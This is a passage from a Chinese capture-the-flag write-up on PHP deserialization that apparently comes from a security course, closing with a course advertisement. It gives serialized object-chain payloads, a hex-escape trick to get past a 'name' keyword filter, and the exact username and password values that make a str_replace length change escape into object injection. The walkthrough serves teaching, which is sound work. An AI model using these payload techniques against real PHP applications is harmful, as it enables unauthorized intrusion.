O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D O:7:"topsolo":1:{s:7:"\000*\000name";O:7:"midsolo":2:{s:7:"\000*\000name";O:6:"jungle":1:{s
7 关键字“name”检测绕过
··· function check($data) { if(stristr($data, 'name')!==False){ die("Name Pass\n"); } else{ return $data; } } ···
这里使用十六进制绕过\6e\61\6d\65,并将s改为S
O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D
8 字符串逃逸
访问index.php,传入数值,得到序列化内容
O:6:"player":3:{s:7:"\0*\0user";s:0:"";s:7:"\0*\0pass";s:126:"O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:0:"";}}}";s:8:"\0*\0admin";i:0;}
可以看到对象topsolo,midsolo被s:102,所包裹,我们要做的就是题目环境本身的替换字符操作从而达到对象topsolo,midsolo从引号的包裹中逃逸出来
··· function read($data){ $data = str_replace('\0*\0', chr(0)."*".chr(0), $data); var_dump($data); return $data; } function write($data){ $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); return $data; } ···
在反序列化操作前,有个read的替换操作,字符数量从5位变成3位,合理构造username的长度,经过了read的替换操作后,最后将";s:7:"\0\0pass";s:126吃掉,需要吃掉的长度为23,因为5->3,所以得为2的倍数,需要在password中再填充一个字符C,变成24位,所以我们一共需要构造12个\0\0来进行username填充,得到username
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
在password中补上被吃掉的pass部分,构造password的提交内容
password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D
最后提交
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%
然后访问play.php即可得到flag
9 实验推荐--https://sourl.cn/8u7Pyg
通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

